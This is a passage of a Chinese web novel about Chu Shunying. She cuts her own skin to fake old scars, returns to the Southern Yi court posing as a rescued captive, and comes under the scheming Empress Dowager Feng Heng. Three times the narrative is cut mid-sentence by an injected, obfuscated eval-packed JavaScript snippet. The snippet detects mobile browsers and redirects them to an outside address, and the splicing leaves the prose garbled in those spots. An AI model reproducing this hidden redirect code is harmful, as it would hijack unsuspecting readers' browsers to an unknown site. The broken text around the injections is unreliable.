“没人比你的刀快,也没人比你更可信,除了这间屋子,我也找不出其他更方便掩盖的地方”,她脸上挂着轻松的笑,抬手拂去轻纱薄裙,大块莹白无暇的肌肤暴露在空气中,又轻声说:“再好好看一遍吧。” 苻洵别过脸,透过朦胧泪眼注视着刀具和药膏罐:“早知今天这么遭罪,当初就不祛掉你的那些疤。” “不会太遭罪”,她端起桌上已放凉的药汤,一饮而尽,“这是曼陀罗花、草乌和白芷煎的,可在一段时间内麻痹痛觉。” 然后,她慢慢抬手抚上脸颊,对着镜子微笑着,毅然决然、迅速挥落。 如最昂贵珍稀的白绸被撕破,她额头顷刻显出两道交错的割伤,血不断涌出伤口、流满面颊和身躯,犹如开在白雪上的星点梅花。 她用指头挑了点药膏抹在伤口上,耐心地讲解:“这种药每抹一遍,伤疤做旧一年,每抹一遍要间隔半时辰,才能再抹下一遍。” “阿洵,开始吧,莫让我白白损毁容貌。” 苻洵闭上双眼,泪如雨下。 “为何这样逼我?” “老天送你来到我身边,就是为了让我一遍遍感受不甘和无能吗?” 她平静地催促:“麻药作用时间有限,阿洵,让我少痛些、赶紧开始吧。” 苻洵颤抖着从木盒中拿起一支箭,盯着她右边肩头:“为什么连时间这么近的伤疤都去了?” 舜英笑温柔地注视着他:“因为你……刺进去吧,现在不痛。” 苻洵深吸一口气,循着记忆中的位置猛然刺入,她身躯颤了颤、迅速恢复了平静,不似他想象中那般咬牙忍痛、冷汗如注。 这是他有生以来,手最稳的一次。 他唇角颤颤扬起苦笑、流下两行泪,小心翼翼在她右肩抹上药膏,回身换了一柄雁翎刀,顺着她洁白细腻的手臂往下:“因为我?” 舜英点头:“我从小就不甚爱惜自己的脸和身子,也不知道为何要爱惜。” 雁翎刀刺下,血流如注,她轻轻蹙眉看着,顿了顿继续说。 “不但不爱惜,也十分能忍痛……像今天这样舒舒服服喝一碗麻药,再挑开旧伤根本不算什么。” 苻洵哽咽道:“我知道,我一直都知道,那年洛京会盟,我看出你五脏六腑内伤很重,可有外人在的时候,你愣是没显露分毫。” 舜英叹了口气:“也不知怎的,跟你在一起,好像突然就变得身娇肉贵,怕疼怕黑、贪生怕死……什么都舍不得。” 苻洵身躯猛然一僵,含泪笑道:“就当你是在夸我。” 她又说:“以前特别不在意身子,与你成婚之后别说一点疤痕,就是哪里晒黑点、长几颗疹子都受不了,总怕让你瞧见我半点不漂亮的地方,我也不知道为什么。” “你这可真是……”苻洵一边挑开她的旧伤、一边抹药,哭哭笑笑,“你真可恶,一开口就戳人心窝肺管子。” “我所有的首饰你要收好,尤其是银锁和那对镯子”,她颐指气使嘱托他,“还有蜜合香……到时候指不定埃兰国改进了配方,比原来的更好闻,到时候咱们买上几盒,熏屋子。” “好,用一盒扔一盒,这点子家还是败得起”,他噗呲笑了,泪水却越流越多,“指不定新出别的香,都搬回家给你试试。” 她笑着戳了一下他的脑门:“还是算了,等到那天咱们都不用香料,生个女儿,像阿忆那样又伶俐又招人疼。” 夜还很长,卧房暖黄的灯烛下,锋芒森冷、血流如注,他们手上动作没有停,嘴里也不停絮絮叨叨着家常,怀想着遥不可及的未来……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982991|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 舜英在洛川别苑养了一段时间,在一个深夜离开,子初的打更声响彻空廓的松花巷。离去时,她似乎听到伊河里咆哮着南翊水师的号角。 凝神细细分辨,是远处女人和稚子的嚎哭,他们正在送别即将踏上战场的夫君和父亲。 白鹭台飘飘渺渺传来弹拨琴弦的声音,和哀婉悲怆的歌声。黑暗中的苻洵睁开眼睛,看向空荡荡的枕边,紧紧攥住蝴蝶祥云银锁,泪流满面、在床上颤抖着蜷成一团。 远处的歌声越来越清晰,是那首熟悉的《留别妻》。 “结发为夫妻,恩爱两不疑。”他一骨碌翻身起床,点亮灯烛,找到那只装着两人缠结发丝的华丽木匣,紧紧贴在脸上。 “欢娱在今夕,嬿婉及良时。”他又去竖柜里翻出她穿过的那件银红薄纱里衣,那是他们心意相通、真正的洞房花烛夜。 “参辰皆已没,去去从此辞。”他捂住胸膛,感知着她越走越远,终于忍不住推开房门,迎着冰冷的夜风冲向后院,穿过梅林,站在萧望舒曾等候锦瑟两天一夜的门口。 “行役在战场,相见未有期。握手未有叹,泪为生别滋。”她身穿粗布麻衣,混在即将奔赴洛京战场的兵役人群中,走过奉宁城东门时,回望了一眼曾住过六年的地方,潸然泪下。 “等我回来,阿洵。”她无声说着,白鹭台的歌声正唱着最后一句。 “生当复来归,死当长相思。” . 建宁十四年四月二十,南翊平南侯趁道贺北翊、荣国结盟之际,刺杀北翊姜太后。 同一天,在北翊布局已久的冯太后挑起内乱,靖安王元承赟抬棺上阵,率亲兵一路杀回宛平。其悍勇与气节令沿途将士震慑,竟以其独特的个人魅力、折服不少观望中的将士,煽动得大片中低层武官纷纷倒戈。 惨烈的内战持续了近一个月,元承赟有惊无险回到宛平,事态初初平息,却也导致北翊实力大损、折损近四成骁勇的干将精兵。 而另一边的南翊,按照祖制,幼主临朝、太后摄政时,所有大型对外征战,皆需国君与摄政官同时批准。因金州失守,数位褚氏子弟战死,终于使幼主下定决心,赞同了冯太后提议的“攻打荣国,收复失地”出战方略。 四月二十四,平南侯回到阊江的同时,太尉班益领诏书和虎符,挂帅出征,率领整兵备战多时的三万水师、搭载不计其数的步兵,浩浩荡荡开进长济渠,直奔洛京。 这场战争,南翊准备了六年多,兵多将广粮草充足,对上荣国左右支绌的仓廪,几乎是摧枯拉朽。而且,由于南翊占据水师绝对优势,通过夏河、长济渠、洛川水路纵横荣国疆域,如穿梭无人之境。 到了五月中旬,驻守翊东三十五城的荣军节节败退,正被南翊步兵化整为零、分批清剿,眼见胜利在望,一支令人闻风丧胆的重骑兵从澄洛驰道飞奔而来——玄甲营。 苻洵驻守威远将军府之后的两年,玄甲营已恢复至原有的七千人。南宫羽率领玄甲营一路冲杀、四处解围,打法神出鬼没、又灵活又诡谲,竟逐渐扭转了荣军原先的颓势。 尘土飞扬的战场上,南翊主帅班益用千里镜直勾勾盯着南宫羽身后、只穿一袭飘逸黑袍的俊美男子,悚然惊呼:“苻洵?” 南翊将士的噩梦又回来了。 班益难以置信低呼:“他不是说永世不再参与翊、荣两国战事吗?” “我可没领兵打仗,如今一介白身,受堂兄之托来出出主意”,苻洵浑不在意,转向身侧黑裙女子、笑容倜傥旖旎,“红袖,你说是不是?” “你说的都对。”黑裙女子笑吟吟回答,风吹过,带起她身上甘甜的蜜合香。 192. 驯马 “那位姓许的姑娘还在苻洵身边?”屏风后,冯姮修剪花枝的手一顿,微微蹙眉,“可看清楚了?” “娘娘容禀,与除夕刺杀的死士传回讯息一致,喜欢穿与苻洵成套的衣袍,熏香也极其相似,使一柄横刀,左眼泪沟有一粒胭脂痣。” 冯姮微微颔首:“哀家知道了。” 信使离去后,东暖阁的槅门拉开,冯广年走到屏风前跪地便拜:“太后娘娘,许是一开始消息有误,许姑娘就只是苻洵新欢,褚……娘子不可能与苻洵一起攻打翊军。” 冯姮淡淡道:“四月底从宛平传回消息,参与除逆的义士无一幸免,武六郎过世,但现场并无女子尸首……” 冯广年:“苻洵素有护短之名,若因维护新欢大开杀戒也不足为怪。” “问题不是死者数量”,冯姮笑意微微,“他们被杀的地点离武原城至少两百里。若许姑娘只是苻洵新欢,那晚为何心甘情愿跟武六郎和一群翊国将士混在一起,而且跑出近两百里才被苻洵追上?” 冯广年嗫嚅着问:“许是并肩作战久了,也生出些袍泽之情?” “荣国不似翊国开放,荣国男子不可能接受自己女人与其他男子来往密切”,冯太后沉吟片刻,幽幽道,“除非——他知道这个女子是翊人,也接纳她的习俗,并知道武六郎与这女子是旧友。” 冯广年一时语塞,埋头伏低身体,静静听她分析。 冯姮喟然长叹,声音满是沉痛:“哀家也不愿相信阿英事敌叛国,但这可能最接近事实。” 冯广年默了半晌,轻声说:“既然如此,她……” “孙儿给祖母请安!”承祎的声音从前堂传来,混着轻快的脚步声,“梅雨季已至,祖母头风可有再犯?” 冯广年忙跪着让到侧旁,承祎含笑双手拉起他:“这里没有外人,舅公年事已高、起来坐着说话吧。” 冯姮命人给冯广年赐坐,承祎又摆摆手,让身后嬷嬷送来一对枕囊:天青色绢帛缝成直袋,绣着精巧的曲水、流云和鸟羽,隐隐沁出菊蕊、菖蒲、艾草的清香。 “月初班家姑姑送给孙儿药枕,说是可明目清心、镇定凝神。孙儿已试过,甚好,就劳烦姑姑多做了一对,祖母比孙儿操劳得多,更该善加保养。” 冯姮嗅到那似曾相识的药香,怔愣片刻,舒展眉眼笑了:“陛下的心意哀家领受,等几天六叔大婚,就该改口班家姑姑叫‘六婶’了。今日这样高兴,可是刚从六叔家回来?” 承祎双颊因兴奋泛起红晕:“今年汛期提前,六叔刚去沵州赈济回来,还带回三个跟我差不多大的男孩子。” 冯姮笑盈盈问:“你六叔心善,在四州十郡不知开设多少保育院,如今竟将保育院开回家里了?” “不是的,六叔说看他们资质好,想收作弟子,以后赈灾也多几个帮手”,承祎眼神带着恳求,“孙儿已试过,确实不算笨,曲央过目不忘、博闻强记,付明很会舞枪弄棒、练得一手好棍法。” “如今宗室与世家之中、与陛下年龄相当的孩子不多,他们能得你六叔青眼,资质自不用说”,冯姮顿时心领神会,颔首道,“朝中大力推举寒门入仕,陛下若瞧着喜欢,可召他们进宫作你的伴读。” 承祎立即笑逐颜开:“多谢祖母,那孙儿立即下旨,让他们二人明天开始进太学伴读。” 冯姮诧异:“两个?不是说三名弟子么?” 承祎忙解释:“还有位小哥哥,我本也想让他入宫,可他已请命代师游历四州,查访水患受灾情况,一时半会儿回不来。” “哦?”冯姮两眼一亮,闪过一丝赞赏,“小小年纪,倒是个办实事的好苗子,那孩子姓甚名谁?祖籍何处?” 承祎回想片刻道:“他叫穆阐,祖籍萝州,永平元年水患中父母双亡,是六叔名下保育院收养的第一批孤儿。” 冯姮点头:“等那孩子回到阊江,带到祖母面前看看可好?” 承祎尚在迟疑,冯广年忙说:“太后娘娘求贤若渴,指不定这一看便送穆阐一场泼天富贵。” 冯姮见承祎松了口气,又柔声道:“陛下正是长身子的时候,早些回去歇息吧,明天还要去宛陵。” 承祎露出笑容,心满意足施礼告退。冯广年目送他退到正殿以外,才含笑道:“娘娘高见,自打起复褚氏兄弟,陛下待您是越发亲厚了。” “哪个孩子不思念娘舅?若无崔氏强力扶植挑唆,褚氏本就不足为惧”,冯姮叹了口气,“若阿英当真不在人世,褚氏阖族都是忠肝义胆的纯臣,可惜死在金州的八名子弟……” 她忽又蹙眉疑惑道:“莫非情报有误,南撤之时司南侯毫发无损另有隐情?” 冯广年欲言又止,附和说:“金州一战确实败得始料未及,臣至今想不通,崔玄仁两个儿子是怎么悄无声息跑去金州,还被苻洹俘成为人质,五十多岁的人,自然在意子嗣……” “无妨,好歹守住了丹水口,丢失土地再打回来便是”,冯姮笑道,“广年,多亏你当年举荐班益,若能收回翊东三十五城,他之功劳不输贺、辛。” 冯广年忙说:“有娘娘伯乐识才,使其不至明珠蒙尘,是班益之幸。” 冯姮摇头:“英雄不问出处,圣贤不问出身,若寒门之中尚有沧海遗珠,朝野上下之大过也。” . 六月十七,从阊江王宫到宛陵养马场的路上,黄土垫道、净水泼地,重兵前呼后拥护卫着冯太后与延光王的仪仗。 “大翊以武立国,太祖时候便已定下‘一年一小巡,三年一大巡’的规矩”,冯姮与承祎共乘六马轺车,看着途中风物对他逐一解说,“大翊设骑兵、步兵、水师三军,陛下可还记得这三军如何分布?” 承祎蹙了蹙眉,有些为难:“朕只记得步兵和水师总数,至于在各营如何分布……” “唉——你父王在你这个年纪,早就对八方军营兵力分布如数家珍”,冯姮面露失望,片刻后又笑道,“有个词叫笨鸟先飞,陛下若不记得便多巡几次。” 骑马扈从在侧的元旭忙柔声说:“国家大事千头万绪,陛下自然没那么多心力去记这些,慢慢来……” 承祎难堪稍解,郑重地说:“那朕就从今日倍加用功,好生了解宛陵养马场有良驹几万、粮草度支如何。再去燮陵大营检阅巡视新练的骑兵,待班太尉夺回翊东三十五城,夺回北疆。” 冯姮欣慰地翘起唇角。 卢照仪位列三公,本应跟在国君仪仗后的扈从车队里。但冯姮十分周全地替他安排了一架驷马安车,紧跟在国君车驾身后,说是卢大夫年事已高、不堪路程颠簸,理应多加照顾。 冯姮刚大权独揽那年,卢照仪带头将这摄政太后劝谏得狗血淋头,但他骂得越凶,冯姮待他越是优渥宽厚。一而再、再而三地拒绝她的厚赏之后,卢照仪也不再执着于直谏。 因为根本没用。 非但没用,时间一久,还显得整个御史台都不知好歹。 这女人像是没有心、没有七情六欲一般,一大堆好听的不好听的话入了她的耳,所有是非善恶统统被滤掉,只剩“有用”和“无用”。 他所有拳头都打在棉花里。 其实平心而论,冯姮这摄政太后无论是经济、民生还是吏治,都挑不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987244|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么毛病,若她是元氏宗亲,便是不逊于昭王庄王的明君。甚至,她若非出身异族、血统敏感,作为摄政太后也十分称职……前提是她会顺利还政。 以上,只是去年千秋节之前他的看法。 冯姮在异族之患未解的前提下,背弃“边垣之盟”、对北翊和荣国釜底抽薪,然后丝毫不顾北疆战场左右支绌,与两大盟国逐一断交。更在三郡两州收回朔门关后,悍然发起政变夺权,同时与荣国开战。 卢照仪担忧的,并非什么邦交道义、国家声誉。天下熙熙皆为利来,天下攘攘皆为利往,为国牟利本就是摄政官的职责。他担忧的是战火本身…… 冯太后擅长文治,却将武功想得太简单。 他从入仕开始、一路升上来都是文官,没什么领兵打仗的经验,却活得够久、看到过的战争够多,由此得出一个结论:战争诡谲莫测,远超任何人的想象,再是兵多将广、再是名将圣主,也不可能完全把控战争的走势。 翊国与荣国的翊东战场、三郡二州的内乱战场、北宛虎视眈眈…… 多处战火重燃,无人知晓怎么收场,但卢照仪很确定,不可能像冯太后设想那般顺利。 . “禀告陛下,娘娘,这些都是初夏从大草原买来的,刚驯服的良种野马。”冯广年的族兄冯辽在前方导引,走过一排排呲牙咧嘴的高大马匹。 柘枝城对二十三部的控制十分有限,这种一边对外征战,一边有部落偷偷卖给交战国马匹的事时有发生,伴驾官员早已见惯不怪,纷纷将注意力投向马厩,情不自禁啧啧称奇。 冯辽不愧是土生土长的草原男子,眼光毒辣,选来的马匹毛色均匀油亮,牙口整齐磨损小,骨架高大壮实,筋腱结实饱满,均是百里挑一的良驹。 冯姮与承祎走在队首,承祎停在一匹通体雪白的母马面前,笑着招呼身后:“徽儿快看。” 承徽原本跟元旭走在一起,听到传唤忙疾步过去,瞥了一眼母马、眼睛一亮:“好漂亮!” 承祎祈求地望向冯姮:“祖母,徽儿骑术已十分娴熟,今年生辰想要高头大马,这匹马瞧着很温驯……” 冯姮盯着眼前亲密无间的兄妹,眼里闪过一丝疲惫,颔首应允:“刚驯服的野马,调教一段时间再送进徽儿寝宫吧。” 承祎和承徽相识而笑,承徽欣然说:“听说父王和母后的骑术都很好,徽儿也要好生练习骑射,免得丢了他们颜面。” 元瀚海回忆旧事、无限神往:“想当年,庄王亲手教习褚娘娘骑术,后来巡视燕州,褚娘娘亲手驯服烈马盗骊为陛下庆贺生辰——君后伉俪的佳话啊。” 承徽讶异地转向元旭:“六叔,母后还会驯马?” 元旭眉眼漾起笑意:“何止会,她那副好身手专驯烈马,不是烈马还懒得驯呢。” 元璟也笑了:“阿英自己就是头烈马,自然更喜欢烈马。” 承徽听得脸蛋红扑扑,忽然看着承祎脆声笑道:“我长大也要学驯马,多驯几匹好马送给王……” “徽儿!”冯姮脸色骤然一沉,迅速截住承徽话头,众人顷刻鸦雀无声,她立即如梦初醒、舒展眉眼笑了,“堂堂一国公主,学习辅政之道才是正业,骑马驯马不过是锦上添花的消遣,不要过分执着。” 元旭忙拉过泪盈于睫的承徽,柔声哄道:“待徽儿成年,让驸马驯好良驹送到公主面前好不好?” 承徽破涕为笑点点头,忽然看向他身后,拉了拉承祎袖子,惊喜地欢呼:“王兄看那儿,是母后!” “母后回来找我们了!” 一言出,四周蓦然鸦雀无声。 193. 无路可退 炎炎夏日,所有人同时感觉一股阴风从背后吹来,齐刷刷抖了三抖。 只见前方围栏里,驰骋着一匹狂烈的枣红马,一名女子骑在马背上,穿一身破破烂烂北宛服饰,粗布麻衣、短褐穿结。却身轻如燕,死死拽住缰绳往后拉拽,马匹吃痛,几度前腿腾空直立起来、疯狂左右摇摆,却怎么也无法甩掉她。 走到围栏外一看,那张脸虽疤痕交叉、遍布泥土和汗,却清清楚楚—— 赫然是失踪近七年的褚舜英。 冯姮站在围栏外,神色平静、唇角噙笑,一言不发看向场内,像是单纯欣赏一场精彩的驯马。承徽正要上前,被承祎伸臂拉住:“看看再说。” 他们不表态,身后众臣面面相觑、却都鸦雀无声。 卢照仪老眼昏花盯了一阵,忽然开始喃喃自语:“北宛……地皇山……对上了,全都对上了!” 他激动万分快步上前,几乎扑到围栏边,老泪纵横放声嚎哭:“苍天有眼,使英烈得以幸存,老臣卢照仪拜见褚太后!” 元瀚海半信半疑往前迈了几步,眯着浑浊双目观察须臾,旋即在冯姮面前跪下:“恭喜娘娘,贺喜娘娘!大长公主密信所述属实,褚娘娘还活着啊。娘娘、褚娘娘与陛下苦尽甘来,得享三代同堂之天伦。” 冯姮眉头微蹙,元旭忙走过去附耳低声说了几句,冯姮脸色僵硬片刻,双眼涌出泪花,急切地吩咐:“快……快叫那孩子过来,让哀家好生看看。” 元瀚海激动地说:“娘娘这是喜极而泣啊,苍天仁慈。” 旋即,他转向身后满脸疑惑的宗亲大臣,忙不迭解释:“老臣去年端午收到大长公主传信,讲述了一件陈年往事。七年前褚娘娘在殒星崖殉大义之后,她因姑嫂情深,数次率凰羽寺外门弟子去崖下找寻,皇天不负有心人,终在殒星崖往北五十里左右,靠近乌兰山的深林中发现一座隐居药庐。” “药庐主人是一位七旬老者,精通歧黄祝由之术,在崖下采集焉酸草之时、恰巧搭救了坠崖的褚娘娘。” 冯姮泪流满面:“这样重要事,她为何一开始就瞒着我?若哀家早些安排人将阿英接回来,她何须在外颠沛多年?” 元瀚海道:“褚娘娘那时旧疾未愈又添重伤,不宜挪动,而那老者医术高明,不仅能护住褚娘娘心脉,还能将她的旧疾新伤一并医好。如此高人大抵性情孤僻、遗世独立,说若是招来闲杂人打搅他,就把褚娘娘扔出去不管死活……” “大长公主无计可施,在地皇山稽留数日,见褚娘娘暂无性命之忧,只能先回昇阳处理其他事务。岂料不久之后,北宛狼骑挥师南下,短短数日三关沦陷,她再次找去,那座药庐已人去楼空。” 元旭一边替冯姮拭泪,一边问:“侄孙有一事不明,五姐姐发现人丢了,为何不告知母后和烈王,非要自己偷偷摸摸继续找,这其中究竟有何隐情……” “元旭!”元璟冷声喝断,元旭双颊一红,低头不再言语。 冯姮软声道:“阿晴习惯独来独往,那会儿御敌艰难,不忍再让咱们多操心。” “娘娘明鉴”,元瀚海长叹一声,“翊东沦陷,大长公主入灵昌为……委身敌君后,仍未放弃找寻、却一无所获。直到前年秋天,她随建宁王巡视北卢郡,恰逢北宛马商交货,马群之中恍然一瞥、似曾相识。大长公主顾忌褚娘娘身份特殊,不敢贸然惊动荣国将士,只佯作对好马感兴趣,套出与之交易的部落名称,再传信凰羽寺继续探察……” 元璟瞳孔急遽收缩:“哪一部?” 元瀚海:“哲里木部。” 冯辽低声问过随从,瞥了一眼冯姮,点头道:“这批野马正是从哲里木部采购而来。” 卢照仪再也听不下去:“褚太后殉国之后侥幸活命,却在北宛入侵时不幸为敌俘,流落草原成为驯马女。事实清楚、证据确凿,各位这如临大敌的姿态,真真寒了忠烈之心。” 说话间,马场管事已将舜英引到冯姮面前,承祎和承徽一边哭喊着“母后”一边飞奔过去要拥抱。 稚子的哭声尤其动人,在场数名文官听得恻然,忍不住眼圈泛红。 岂料,舜英身子侧了侧,不动声色避开他们的拥抱,蹙了蹙眉茫然看向身边管事:“上官,敢问这两位贵人是?” 得到回复后,她恭恭敬敬稽首大拜:“庶民恭祝陛下万岁、长公主千秋。” 欣喜若狂、喜极而泣的兄妹俩齐齐呆住。 承徽眼泪潸潸,扑过去抱住她脖子抽噎:“是徽儿和王兄,母后不认得了么?” 舜英满脸局促跪在那,眼神又尴尬又迷茫。 “母后,徽儿一直都记得你说过的,听祖母的话,好好吃饭睡觉长身体”,承徽抽抽搭搭、拉着她的手往自己头顶放,“摸一摸,徽儿已经长这么高了。” “母后是嫌弃徽儿书读得不好,还是怪徽儿没保护好承陵哥哥?” “母后若觉得徽儿不乖,打我骂我都成,不要不理我……” “母后……” “徽儿,徽儿放手”,承祎看出端倪,眼中含泪、声音带着哭腔,一把拉开承徽,转头扬声道,“传朕旨意,宣御医!” 旋即,他将承徽拉到身后,弯曲双膝跪下,三拜九叩高声道:“孩儿率文武百官,恭迎母后鸾驾。” 四周静得一根针落地都能听见,有人面面相觑,有人膝盖打弯被身边人一把拉起,有人迟疑着四处张望,大部分人都埋头、用眼角余光偷觑冯姮表情。 “混账东西,陛下口谕听不见么?”冯姮冷声呵斥,疾步走到舜英身边,一把抱住她泪如雨下,“阿英,可怜的孩子,七年不见,受了多少罪。” 她一出声,鸦雀无声的众人齐刷刷动了,像一幅静止凝固的画乍然鲜活。 “拜见太后娘娘銮驾,褚娘娘千岁千千岁!” 百官屈膝跪地、扬声山呼,整齐划一如事先排练过。 . “禀奏陛下、大娘娘、公主,褚娘娘脉象比七年前强劲些”,老御医抚着白胡子,“但毕竟曾元气大伤,底子仍十分虚弱,往后需静心调养,除了需注意饮食,尤为重要的是要少思虑多睡眠,保持心情愉悦。” 承徽忙追问:“那为何母后不认得咱们了?” 御医乙酝酿半晌,缓缓道:“微臣方才请脉,似见褚娘娘脑后有陈年伤疤、恐伤及神识和记忆。” 御医丙补充:“褚娘娘本是九天青鸾,被虏敌国受尽折磨、颠沛流离七年。心志再坚定的人受此折辱,只怕也会混乱癫狂,如今言行举止与常人无异,可见心窍迷失不深,用不了多久定能调养如初。” 冯姮含泪微笑,注视着床上沉睡的舜英,沉吟不语。 承徽从宫人手里接过帕子,在热水浸湿拧干,小心翼翼替舜英擦拭额头汗珠,触及那两道交叉的深褐伤疤时,咬住嘴唇,滚落两行泪水。 冬雪送御医出门,又走到屏风外禀报:“大娘娘,春羽到了。” 元承祎众目睽睽迎回褚太后,宫里骤然有两位太后,为方便区分,冬雪开始称呼辈分更高的冯姮为“大娘娘”。 春羽在黄门的引导下,从扩建后的万木春侧门进,款款穿过花木扶疏的园林,停在西厢房门前。她手里捧着个木盒,身后跟着一名慈眉善目的嬷嬷。 冯姮缓缓说:“哀家传了医女替阿英验伤,都先下去。” 九重帷幕层层合拢,偌大卧房除了昏迷的舜英、坐着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992629|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冯姮,就只剩春羽、冬雪、嬷嬷。 解开中衣、亵裤和心衣,躯体毫无遮掩、毫无尊严,却令除春羽之外的所有人,齐齐倒吸一口凉气。 左肩、胸腹、后背、腿,刀、箭、剑、鞭……各色疤痕形形色色不一而足,深深浅浅纵横交错。 “回大娘娘,这些旧伤奴婢都见过”,春羽恭声道,“只比之前侍奉娘娘时见到的多些,大概是这些年颠沛流离时新添的。” 嬷嬷谨慎地将舜英的腿放回床上,用薄被盖好,再次请了一遍脉:“回大娘娘,这位贵人近几年并无生育或小产之象。” 冯姮沉吟着徐徐开口:“月份大了滑胎十分伤害孕妇,若不善加调养亦再难有孕。哀家记得,阿英滑掉的那胎有五个月大,况且她的身子本就……” “大娘娘!”春羽眼里屈辱难耐,忍不住轻轻喊了声,旋即屈膝跪下,埋头避开冬雪制止的眼神,提醒说,“娘娘额头的是十字疤。” 冯姮思绪被打断,如释重负地笑了:“哀家差点忘了,额头十字疤在北宛寓意‘绝嗣诅咒’,就连最卑贱的男奴都会嫌晦气。” 她忽然伸手,抚过舜英上身道道伤疤,神色晦明不定,许久才问:“哀家记得她小时候练武,并无这许多伤疤。” 春羽道:“这些都是内乱四年,娘娘率领飞廉四处奔走时留下的。” 冯姮默了许久,又问:“宫里多得是祛疤良药,大婚之后为何还留着这些旧伤,又丑陋又碍眼?” “奴婢也不知”,春羽摇头,“奴婢曾听庄王陛下提过几次,娘娘说陛下若不喜欢,她可以让御医署配药,或是为陛下纳几位皮娇肉嫩的嫔妃。后来没有宣御医、也没有纳妃嫔,此事不了了之……” 冯姮眼里闪过一丝惊愕,静静盯着满身伤疤若有所思,许久之后,如梦初醒:“冬雪,送嬷嬷回去吧。” 又对春羽说:“你是伺候阿英最久的,眼下她这副样子不能缺人照顾。” 春羽忙说:“奴婢愿继续为褚娘娘效力。” . 冯姮回到东厢房,随侍宫女奉上由春羽从阊江捎来的那个木盒。 撬去蜡封、撕掉贴在盒盖缝隙的封条、打开木盒,浓郁药味扑鼻而来,那封信笺静静躺在排列整齐的药材底下。她打开信笺,抽出白麻纸逐字逐句往下看,越看脸色越阴沉。 比元瀚海手中那封描述得更详细,就这样待在她触手可及之处,她从未想过拆开过这盒药材,因为它来自被自己亲手放弃的女儿,于是这封信不见天日。 直到她找寻许久未果的人,就那般出现在大庭广众、众目睽睽之下,猝不及防、避无可避。 冯姮一遍又一遍读着信,手指颤抖,眼圈逐渐泛红,及至看到最后几行,大颗泪水夺眶而出,在信纸上砸出圆圆的湿痕。 “……女儿近来常有命数将近之感,红尘难舍之念唯二。其一为母后头风痼疾,若此药对其有裨益,儿亦泉下欣然;其二,儿与四嫂名为姑嫂、实为姊妹,亲姊沦陷敌疆颠沛磋磨,生死未卜,恳请母后念十九年舐犊,若得机缘、助阿姊逃出生天,有后路可退……” 泪水越滴越多,将最后几行字晕成一团乌黑。 “情同姊妹……十九年舐犊……一子错,满盘皆落索,哪来后路可退?” 她抬手缓缓拭去泪水,将字条递到烛台上,注视着火焰舔上纸条,焚成细软单薄的黑灰,簌簌飘落。 南翊延光十四年六月二十,幼主承祎下旨,以太后仪仗迎回流落北宛七年的生母褚舜英,以丞相元璟为首的文官请奏、按祖制为其上尊号“庄后”。 阊江朝廷自此供奉两宫太后——宝慈宫昭后,世称冯后;景和宫庄后,世称褚后。 194. 独角戏 “夏小乙向大娘娘复命”,灰影走进花房,步履轻盈若飘,“已送嬷嬷上路归乡。” 冯姮站在扶疏花木中,面前摆着一盆梅树,铁虬银枝、点缀着星星点点胭脂红,她手执一柄花剪,正在花枝间比划。 冬雪:“怎么送的?干不干净?” 夏小乙:“卑职一直跟到无人的野地,腿上绑了石块,看着沉下去没动静才走的。” 冯姮唇角勾起一丝笑,看准一根细弱的杂枝,“咔擦”,干脆利索。 冬雪示意夏小乙退下,又轻声禀告:“平南侯来了。” 冯姮笑容透出暖意:“正好,让他直接进花房。” 元旭走进花房时,冯姮已剪好一瓶半开的红梅花枝:“阿旭,这花瓶有些沉,你来替母后供到你四哥牌位前。” 她看着嫣红梅花,神色有些恍惚:“记得你四哥小时候,每年除夕最喜欢去北苑剪红梅插瓶。” “母后,小厨房已经在北苑摆好午膳”,元旭双手从木架上抱起花瓶,跟在冯姮身后往外走,“四嫂也在宝慈宫等你。” 冯姮身形一僵,叹了口气:“冤孽。” 那天在宛陵捡回舜英后,她头伤断续发作、不时晕厥,竟连亲生儿女也不认得。置身陌生环境后,时刻惴惴不安、少食少眠,唯独冯姮和元旭在场才会多吃几口饭,睡得踏实些。 御医众口一词,迷失心窍之人会本能依赖最信任的那人,于是众臣纷纷褒扬她们母女情深,奏请先让褚后移居宝慈宫疗养。 冯姮沉默许久,眼里泛起泪花,颔首应允。 这一点头,大部分人都松了口气:两宫太后和睦、站队问题迎刃而解。庄王在位时,这对婆媳感情融洽得可放之四海作为模范,由冯后照顾不甚康健的褚后,大家喜闻乐见。 皆大欢喜。 于是,两宫太后仪仗一前一后被抬进宝慈宫,冯姮居寝殿正中,东暖阁住褚舜英、西暖阁供奉元旻和元晴牌位,元旭与承祎三兄妹每日晨昏定省,可谓三世同堂,死人活人阖家欢聚。 